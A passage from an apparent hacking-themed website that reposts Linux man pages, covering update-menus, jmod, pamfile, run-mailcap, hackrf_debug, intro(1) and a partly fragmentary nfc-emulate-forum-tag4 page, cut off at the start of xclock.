This file contains translations that will be performed for all menu entries and all window managers. You can specify things like: `All sections that start with “Games” should be mapped to “Applications/Games”’, or `menuentry “gnuplot” should have a title of “GnuTeken”’. Look at the default /etc/menu-methods/translate_menus for an example. Users who want to override the system default translate file, put one in ~/.menu-methods/translate_menus. Note: This should not be used for a full translation of the menu. Use po files as explained in the source package.

error report configuring, in /etc/menu-methods/menu.config

This file contains general information for the overall behaviour of update-menus. At the moment you can only configure how verbose the output of update-menus is, and where it sends the output. The amount of information is specified by `verbosity=VAL’. Use VAL=quiet to stop update-menu from reporting anything but the most important errors, VAL=normal, VAL=verbose, VAL=debug for progressively more output.

To specify where the output should go, use `method=stdout’, `method=stderr’, or `method=syslog facility priority’. `Facility’ is one of auth, authpriv, authcron, authdaemon, authkern, authlocal0, authlocal1, authlocal2, authlocal3, authlocal4, authlocal5, authlocal6, authlocal7, authlpr, authmail, authnews, authsyslog, authuser, authuucp. `priority’ is one of emerg, alert, crit, err, warning, notice, info, debug.

FILES

Menu files: (Earlier listed directories override those listed later.)

~/.menu/*

Menu files added by the user. (Isn’t read if root runs update-menus)

/etc/menu/*

Menu files added by the system administrator.

/usr/lib/menu/*

Architecture-dependant menu files provided by other Debian packages.

/usr/share/menu/*

Architecture-independant menu files provided by other Debian packages.

/usr/share/menu/default/*

Menu files provided by the menu package.

Menu methods:

/etc/menu-methods/

Executable configuration files that are added by window managers and other menu programs, these files are run by update-menus to generate menus for the different programs. Also in this directory is the translate_menus file, used for local configuration of the shape of the menu trees.

~/.menu-methods/

For users to override the system-defaults of /etc/menu-methods. If this directory exists, no files in /etc/menu-methods are read any more.

DISTRIBUTION

Distribution is subject to the GNU General Public License.

BUGS

update-menus may not work properly when run by a normal user, to generate menus for that user. This is usually because the window manager doesn’t expect the system.${wm}rc files in the directory (usually ~/.${wm}, configurable in /etc/menu-methods). If you see such a thing, and you find a solution, please mail <[email protected]>. It should work OK for fvwm and fvwm2: I usually test the package first as an ordinary user.

AUTHORS

Joost Witteveen <[email protected]>, original idea by Lars Wirzenius <[email protected]>. Now maintained by Bill Allombert <[email protected]>.

THANKS

To Joey Hess, for a lot of good ideas and pre-release testing, and to Tom Lees for a update-menus in pure C (of which I only used one function, but that’s life).

Man page by Joey Hess, <[email protected]>

SEE ALSO

menufile(5), /usr/share/doc/menu/html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2177 - Linux cli command jmod

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command jmod and provides detailed information about the command jmod, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the jmod.

NAME 🖥️ jmod 🖥️

create JMOD files and list the content of existing JMOD files

SYNOPSIS

jmod (create|extract|list|describe|hash) [options] jmod-file

Includes the following:

Main operation modes

create
Creates a new JMOD archive file.

extract
Extracts all the files from the JMOD archive file.

list
Prints the names of all the entries.

describe
Prints the module details.

hash
Determines leaf modules and records the hashes of the dependencies that directly and indirectly require them.

Options

options
See Options for jmod.

Required

jmod-file
Specifies the name of the JMOD file to create or from which to retrieve information.

DESCRIPTION

Note: For most development tasks, including deploying modules on the module path or publishing them to a Maven repository, continue to package modules in modular JAR files. The jmod tool is intended for modules that have native libraries or other configuration files or for modules that you intend to link, with the jlink tool, to a runtime image.

The JMOD file format lets you aggregate files other than .class files, metadata, and resources. This format is transportable but not executable, which means that you can use it during compile time or link time but not at run time.

Many jmod options involve specifying a path whose contents are copied into the resulting JMOD files. These options copy all the contents of the specified path, including subdirectories and their contents, but exclude files whose names match the pattern specified by the --exclude option.

With the --hash-modules option or the jmod hash command, you can, in each module’s descriptor, record hashes of the content of the modules that are allowed to depend upon it, thus “tying” together these modules. This enables a package to be exported to one or more specifically-named modules and to no others through qualified exports. The runtime verifies if the recorded hash of a module matches the one resolved at run time; if not, the runtime returns an error.

OPTIONS FOR JMOD

--class-path path
Specifies the location of application JAR files or a directory containing classes to copy into the resulting JMOD file.

--cmds path
Specifies the location of native commands to copy into the resulting JMOD file.

--config path
Specifies the location of user-editable configuration files to copy into the resulting JMOD file.

--dir path
Specifies the location where jmod puts extracted files from the specified JMOD archive.

--dry-run
Performs a dry run of hash mode. It identifies leaf modules and their required modules without recording any hash values.

--exclude pattern-list
Excludes files matching the supplied comma-separated pattern list, each element using one the following forms:

  • glob-pattern

  • **glob:**glob-pattern

  • **regex:**regex-pattern

See the FileSystem.getPathMatcher method for the syntax of glob-pattern. See the Pattern class for the syntax of regex-pattern, which represents a regular expression.

--hash-modules regex-pattern
Determines the leaf modules and records the hashes of the dependencies directly and indirectly requiring them, based on the module graph of the modules matching the given regex-pattern. The hashes are recorded in the JMOD archive file being created, or a JMOD archive or modular JAR on the module path specified by the jmod hash command.

--header-files path
Specifies the location of header files to copy into the resulting JMOD file.

--help or -h
Prints a usage message.

--help-extra
Prints help for extra options.

--legal-notices path
Specifies the location of legal notices to copy into the resulting JMOD file.

--libs path
Specifies location of native libraries to copy into the resulting JMOD file.

--main-class class-name
Specifies main class to record in the module-info.class file.

--man-pages path
Specifies the location of man pages to copy into the resulting JMOD file.

--module-version module-version
Specifies the module version to record in the module-info.class file.

--module-path path or -p path
Specifies the module path. This option is required if you also specify --hash-modules.

--target-platform platform
Specifies the target platform.

--version
Prints version information of the jmod tool.

****@filename
Reads options from the specified file.

An options file is a text file that contains the options and values that you would ordinarily enter in a command prompt. Options may appear on one line or on several lines. You may not specify environment variables for path names. You may comment out lines by prefixinga hash symbol (#) to the beginning of the line.

The following is an example of an options file for the jmod command:

#Wed Dec 07 00:40:19 EST 2016
create --class-path mods/com.greetings --module-path mlib
  --cmds commands --config configfiles --header-files src/h
  --libs lib --main-class com.greetings.Main
  --man-pages man --module-version 1.0
  --os-arch "x86_x64" --os-name "Mac OS X"
  --os-version "10.10.5" greetingsmod

EXTRA OPTIONS FOR JMOD

In addition to the options described in Options for jmod, the following are extra options that can be used with the command.

--do-not-resolve-by-default
Exclude from the default root set of modules

--warn-if-resolved
Hint for a tool to issue a warning if the module is resolved. One of deprecated, deprecated-for-removal, or incubating.

JMOD CREATE EXAMPLE

The following is an example of creating a JMOD file:

jmod create --class-path mods/com.greetings --cmds commands
  --config configfiles --header-files src/h --libs lib
  --main-class com.greetings.Main --man-pages man --module-version 1.0
  --os-arch "x86_x64" --os-name "Mac OS X"
  --os-version "10.10.5" greetingsmod

JMOD HASH EXAMPLE

The following example demonstrates what happens when you try to link a leaf module (in this example, ma) with a required module (mb), and the hash value recorded in the required module doesn’t match that of the leaf module.

  1. Create and compile the following .java files:

    • jmodhashex/src/ma/module-info.java

      module ma {
        requires mb;
      }
      
    • jmodhashex/src/mb/module-info.java

      module mb {
      }
      
    • jmodhashex2/src/ma/module-info.java

      module ma {
        requires mb;
      }
      
    • jmodhashex2/src/mb/module-info.java

      module mb {
      }
      
  2. Create a JMOD archive for each module. Create the directories jmodhashex/jmods and jmodhashex2/jmods, and then run the following commands from the jmodhashex directory, then from the jmodhashex2 directory:

    • jmod create --class-path mods/ma jmods/ma.jmod

    • jmod create --class-path mods/mb jmods/mb.jmod

  3. Optionally preview the jmod hash command. Run the following command from the jmodhashex directory:

    jmod hash --dry-run -module-path jmods --hash-modules .*

    The command prints the following:

    Dry run:
    mb
      hashes ma SHA-256 07667d5032004b37b42ec2bb81b46df380cf29e66962a16481ace2e71e74073a
    

    This indicates that the jmod hash command (without the --dry-run option) will record the hash value of the leaf module ma in the module mb.

  4. Record hash values in the JMOD archive files contained in the jmodhashex directory. Run the following command from the jmodhashex directory:

    jmod hash --module-path jmods --hash-modules .*

    The command prints the following:

    Hashes are recorded in module mb

  5. Print information about each JMOD archive contained in the jmodhashex directory. Run the highlighted commands from the jmodhashex directory:

    jmod describe jmods/ma.jmod
    
    ma
      requires mandated java.base
      requires mb
    
    jmod describe jmods/mb.jmod
    
    mb
      requires mandated java.base
      hashes ma SHA-256 07667d5032004b37b42ec2bb81b46df380cf29e66962a16481ace2e71e74073a
    
  6. Attempt to create a runtime image that contains the module ma from the directory jmodhashex2 but the module mb from the directory jmodhashex. Run the following command from the jmodhashex2 directory:

    • Linux and OS X:

      jlink --module-path $JAVA_HOME/jmods:jmods/ma.jmod:../jmodhashex/jmods/mb.jmod --add-modules ma --output ma-app

    • Windows:

      jlink --module-path %JAVA_HOME%/jmods;jmods/ma.jmod;../jmodhashex/jmods/mb.jmod --add-modules ma --output ma-app

    The command prints an error message similar to the following:

    Error: Hash of ma (a2d77889b0cb067df02a3abc39b01ac1151966157a68dc4241562c60499150d2) differs to
    expected hash (07667d5032004b37b42ec2bb81b46df380cf29e66962a16481ace2e71e74073a) recorded in mb
    
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2178 - Linux cli command pamfile

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamfile and provides detailed information about the command pamfile, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamfile.

.

NAME 🖥️ pamfile 🖥️

describe a Netpbm (PAM or PNM) file

SYNOPSIS

pamfile

[-allimages] [-comments] [-count] [-machine] [-size]

[file …]

Minimum unique abbreviations of options are acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pamfile reads one or more Netpbm files as input and writes out short descriptions of the image type, size, etc. This is partly for use in shell scripts, so the format is not particularly pretty.

By default, pamfile reads only the header of the input file. If that file is a pipe, that might cause problems for the process that is feeding the pipe. In that case, see the -allimages option.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamfile recognizes the following command line options:

-allimages
This option causes pamfile to describe every image in each input file. Without this option, pamfile describes only the first image in each input file.

This option also causes pamfile to read all the images from the input stream, whereas without it, pamfile reads only the header of the first one. If the input stream is from a pipe, the process that is feeding the pipe might require the entire stream to be consumed. In that case, use this option even if the stream contains only one image.

This option has no effect if you also specify -count.

Note that before July 2000, a file could not contain more than one image and many programs ignore all but the first.

This option was new in Netpbm 9.5 (July 2000).

-comments
This option causes pamfile to include for each PAM image a report of the comments from the header of the image.

For a PBM, PGM, or PPM image, pamfile reports there are no comments, even if there are.

This option was new in Netpbm 10.35 (August 2006).

-count
This option causes pamfile to display only a count of how many images are in each input file.

As with -allimages, this causes pamfile to read all the images.

You may specify at most one of -count, -machine, and -size.

This option was new with Netpbm 10.31 (December 2005).

-machine
This makes the output more convenient for a machine to use, while less convenient for a human. pamfile reports the same information as with no options.

The output is one line of ASCII text per image. Each line consists of the file name, followed by a colon, followed by a space, then the following tokens with a space in between:

  • Format: ‘PAM’, ‘PBM’, ‘PGM’, or ‘PPM’,

  • Subformat: ‘PLAIN’ or ‘RAW’

  • Width: in pixels, in decimal

  • Height: in pixels, in decimal

  • Depth: in decimal

  • Maxval: in decimal (1 if image is PBM)

  • Tuple type (emulated if the image is not PAM)

You may specify at most one of -count, -machine, and -size.

This option was new in Netpbm 10.86 (March 2019).

-size
This makes the output contain only the height and width of the image, in a form convenient for machine processing.

There is one line of output per image, consisting of two blank-delimited tokens:

  • Width: in pixels, in decimal

  • Height: in pixels, in decimal

Note that there is no way to tell which image is in which file, if you have multiple input files with multiple images. If that is your case, use -machine instead.

You may specify at most one of -count, -machine, and -size.

This option was new in Netpbm 10.86 (March 2019).

SEE ALSO

pam(1) , ppmhist(1) , file

AUTHOR

Copyright (C) 1991 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamfile.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2179 - Linux cli command print

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command print and provides detailed information about the command print, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the print.

NAME 🖥️ print 🖥️

mailcap, view, see, edit, compose, print - execute programs via entries in the mailcap file

SYNOPSIS

run-mailcap –action=ACTION [–option[=value]] [MIME-TYPE:[ENCODING:]]FILE […]

The see, edit, compose and print versions are just aliases that default to the view, edit, compose, and print actions (respectively).

DESCRIPTION

run-mailcap (or any of its aliases) will use the given action to process each mime-type/file in turn. Each file is specified as its mime-type, its encoding (e.g. compression), and filename together, separated by colons. If the mime-type is omitted, an attempt to determine the type is made by trying to match the file’s extension with those in the mime.types files. If no mime-type is found, a last attempt will be done by running the file command, if available. If the encoding is omitted, it will also be determined from the file’s extensions. Currently supported encodings are gzip (.gz), bzip2 (.bz2), xz (.xz), zstd (.zst[d]), and compress (.Z). A filename of “-” can be used to mean “standard input”, but then a mime-type must be specified.

Both the user’s files (~/.mailcap; ~/.mime.types) and the system files (/etc/mailcap; /etc/mime.types) are searched in turn for information.

EXAMPLES

see picture.jpg print output.ps.gz compose text/html:index.htm extract-mail-attachment msg.txt | see image/tiff:gzip:-

OPTIONS

All options are in the form –<opt>=<value>.

–action=<action>
Performs the specified action on the files. Valid actions are view, cat (uses only “copiousoutput” rules and sends output to STDOUT), compose, composetyped, edit and print. If no action is specified, the action will be determined by how the program was called.

–debug
Turns on extra information to find out what is happening.

–nopager
Ignores any “copiousoutput” directive and sends output to STDOUT.

–norun
Displays the found command without actually executing it.

SECURITY

A temporary symbolic link to the file is opened if the file name matches the Perl regular expression “[^[:alnum:],.:/@%^+=_-]”, in order to protect from the injection of shell commands, and to make sure that the name can always be displayed in the current locale. In addition, the file is opened using its absolute path to prevent the injection of command-line arguments, for instance using file names starting with dashes.

SEE ALSO

file(1) mailcap(5) mailcap.order(5) update-mime(8)

AUTHOR

run-mailcap (and its aliases) was written by Brian White <[email protected]>.

COPYRIGHT

run-mailcap (and its aliases) is in the public domain (the only true “free”).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2180 - Linux cli command hackrf_debug

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hackrf_debug and provides detailed information about the command hackrf_debug, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hackrf_debug.

NAME 🖥️ hackrf_debug 🖥️

register manipultion tool

DESCRIPTION

Usage:

-h, –help: this help

-n, –register <n>: set register number for read/write operations

-r, –read: read register specified by last -n argument, or all registers

-w, –write <v>: write register specified by last -n argument with value <v>

-c, –config: print SI5351C multisynth configuration information

-d, –device <s>: specify a particular device by serial number

-m, –max2837: target MAX2837

-s, –si5351c: target SI5351C

-f, –rffc5072: target RFFC5072

-u, –ui <1/0>: enable/disable UI

EXAMPLES

hackrf_debug –si5351c -n 0 -r
# reads from si5351c register 0

hackrf_debug –si5351c -c
# displays si5351c multisynth configuration

hackrf_debug –rffc5072 -r
# reads all rffc5072 registers

hackrf_debug –max2837 -n 10 -w 22 # writes max2837 register 10 with 22 decimal

Usage:

-h, –help: this help

-n, –register <n>: set register number for read/write operations

-r, –read: read register specified by last -n argument, or all registers

-w, –write <v>: write register specified by last -n argument with value <v>

-c, –config: print SI5351C multisynth configuration information

-d, –device <s>: specify a particular device by serial number

-m, –max2837: target MAX2837

-s, –si5351c: target SI5351C

-f, –rffc5072: target RFFC5072

-u, –ui <1/0>: enable/disable UI

hackrf_debug –si5351c -n 0 -r
# reads from si5351c register 0

hackrf_debug –si5351c -c
# displays si5351c multisynth configuration

hackrf_debug –rffc5072 -r
# reads all rffc5072 registers

hackrf_debug –max2837 -n 10 -w 22 # writes max2837 register 10 with 22 decimal

SEE ALSO

The primary source of documentation is the wiki on github:

https://github.com/mossmann/hackrf/wiki

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2181 - Linux cli command intro

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command intro and provides detailed information about the command intro, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the intro.

NAME 🖥️ intro 🖥️

introduction to user commands

DESCRIPTION

Section 1 of the manual describes user commands and tools, for example, file manipulation tools, shells, compilers, web browsers, file and image viewers and editors, and so on.

NOTES

Linux is a flavor of UNIX, and as a first approximation all user commands under UNIX work precisely the same under Linux (and FreeBSD and lots of other UNIX-like systems).

Under Linux, there are GUIs (graphical user interfaces), where you can point and click and drag, and hopefully get work done without first reading lots of documentation. The traditional UNIX environment is a CLI (command line interface), where you type commands to tell the computer what to do. That is faster and more powerful, but requires finding out what the commands are. Below a bare minimum, to get started.

Login

In order to start working, you probably first have to open a session by giving your username and password. The program login(1) now starts a shell (command interpreter) for you. In case of a graphical login, you get a screen with menus or icons and a mouse click will start a shell in a window. See also xterm(1).

The shell

One types commands to the shell, the command interpreter. It is not built-in, but is just a program and you can change your shell. Everybody has their own favorite one. The standard one is called sh. See also ash(1), bash(1), chsh(1), csh(1), dash(1), ksh(1), zsh(1).

A session might go like:

knuth login: aeb
Password: ********
$ date
Tue Aug  6 23:50:44 CEST 2002
$ cal
     August 2002
Su Mo Tu We Th Fr Sa
             1  2  3
 4  5  6  7  8  9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
$ ls
bin  tel
$ ls -l
total 2
drwxrwxr-x   2 aeb       1024 Aug  6 23:51 bin
-rw-rw-r--   1 aeb         37 Aug  6 23:52 tel
$ cat tel
maja    0501-1136285
peter   0136-7399214
$ cp tel tel2
$ ls -l
total 3
drwxr-xr-x   2 aeb       1024 Aug  6 23:51 bin
-rw-r--r--   1 aeb         37 Aug  6 23:52 tel
-rw-r--r--   1 aeb         37 Aug  6 23:53 tel2
$ mv tel tel1
$ ls -l
total 3
drwxr-xr-x   2 aeb       1024 Aug  6 23:51 bin
-rw-r--r--   1 aeb         37 Aug  6 23:52 tel1
-rw-r--r--   1 aeb         37 Aug  6 23:53 tel2
$ diff tel1 tel2
$ rm tel1
$ grep maja tel2
maja    0501-1136285
$

Here typing Control-D ended the session.

The $ here was the command prompt—it is the shell’s way of indicating that it is ready for the next command. The prompt can be customized in lots of ways, and one might include stuff like username, machine name, current directory, time, and so on. An assignment PS1=“What next, master? " would change the prompt as indicated.

We see that there are commands date (that gives date and time), and cal (that gives a calendar).

The command ls lists the contents of the current directory—it tells you what files you have. With a -l option it gives a long listing, that includes the owner and size and date of the file, and the permissions people have for reading and/or changing the file. For example, the file “tel” here is 37 bytes long, owned by aeb and the owner can read and write it, others can only read it. Owner and permissions can be changed by the commands chown and chmod.

The command cat will show the contents of a file. (The name is from “concatenate and print”: all files given as parameters are concatenated and sent to “standard output” (see stdout(3)), here the terminal screen.)

The command cp (from “copy”) will copy a file.

The command mv (from “move”), on the other hand, only renames it.

The command diff lists the differences between two files. Here there was no output because there were no differences.

The command rm (from “remove”) deletes the file, and be careful! it is gone. No wastepaper basket or anything. Deleted means lost.

The command grep (from “g/re/p”) finds occurrences of a string in one or more files. Here it finds Maja’s telephone number.

Pathnames and the current directory

Files live in a large tree, the file hierarchy. Each has a pathname describing the path from the root of the tree (which is called /) to the file. For example, such a full pathname might be /home/aeb/tel. Always using full pathnames would be inconvenient, and the name of a file in the current directory may be abbreviated by giving only the last component. That is why /home/aeb/tel can be abbreviated to tel when the current directory is /home/aeb.

The command pwd prints the current directory.

The command cd changes the current directory.

Try alternatively cd and pwd commands and explore cd usage: “cd”, “cd .”, “cd ..”, “cd /”, and “cd ~”.

Directories

The command mkdir makes a new directory.

The command rmdir removes a directory if it is empty, and complains otherwise.

The command find (with a rather baroque syntax) will find files with given name or other properties. For example, “find . -name tel” would find the file tel starting in the present directory (which is called .). And “find / -name tel” would do the same, but starting at the root of the tree. Large searches on a multi-GB disk will be time-consuming, and it may be better to use locate(1).

Disks and filesystems

The command mount will attach the filesystem found on some disk (or floppy, or CDROM or so) to the big filesystem hierarchy. And umount detaches it again. The command df will tell you how much of your disk is still free.

Processes

On a UNIX system many user and system processes run simultaneously. The one you are talking to runs in the foreground, the others in the background. The command ps will show you which processes are active and what numbers these processes have. The command kill allows you to get rid of them. Without option this is a friendly request: please go away. And “kill -9” followed by the number of the process is an immediate kill. Foreground processes can often be killed by typing Control-C.

Getting information

There are thousands of commands, each with many options. Traditionally commands are documented on man pages, (like this one), so that the command “man kill” will document the use of the command “kill” (and “man man” document the command “man”). The program man sends the text through some pager, usually less. Hit the space bar to get the next page, hit q to quit.

In documentation it is customary to refer to man pages by giving the name and section number, as in man(1). Man pages are terse, and allow you to find quickly some forgotten detail. For newcomers an introductory text with more examples and explanations is useful.

A lot of GNU/FSF software is provided with info files. Type “info info” for an introduction on the use of the program info.

Special topics are often treated in HOWTOs. Look in /usr/share/doc/howto/en and use a browser if you find HTML files there.

SEE ALSO

ash(1), bash(1), chsh(1), csh(1), dash(1), ksh(1), locate(1), login(1), man(1), xterm(1), zsh(1), wait(2), stdout(3), man-pages(7), standards(7)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2182 - Linux cli command nfc-emulate-forum-tag4

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command nfc-emulate-forum-tag4 and provides detailed information about the command nfc-emulate-forum-tag4, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the nfc-emulate-forum-tag4.

is a demonstration tool that emulates a NFC Forum tag type 4 v2.0 (or v1.0) with NDEF content.

can be provided to force old Tag Type 4 version 1.0 behavior.

is the file which contains NDEF message you want to share with the NFC-Forum compliant initiator device (e.g. Nokia 6212 Classic for a v1.0 tag)

If you want to save a shared content by the initiator device, we have to give

argument to point where the NDEF message will be saved.

This example uses the hardware capability of PN532 to handle ISO/IEC 14443-4 low-level frames like RATS/ATS, WTX, etc.

All devices compliant with NFC-Forum Tag Type 4 (Version 2.0 or 1.0) can be used with this example in read-write mode.

If no argument is given, a default NDEF file is available.

You can specify the same

and

Only PN532 equipped devices can use this example. (e.g. PN532 breakout board)

ACR122 devices (like touchatag, etc.) can be used by this example, but if something goes wrong, you will have to unplug/replug your device. This is not a

bug, this problem is due to ACR122’s internal MCU in front of NFC chip (PN532).

Please report any bugs on the

issue tracker at:

is licensed under the GNU Lesser General Public License (LGPL), version 3.

and

are covered by the BSD 2-Clause license.

This manual page was written by Romuald Conty. It is licensed under the terms of the GNU GPL (version 2 or later).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2183 - Linux cli command xclock

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xclock and provides detailed information about the command xclock, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xclock.

NAME 🖥️ xclock 🖥️

analog / digital clock for X

SYNOPSIS

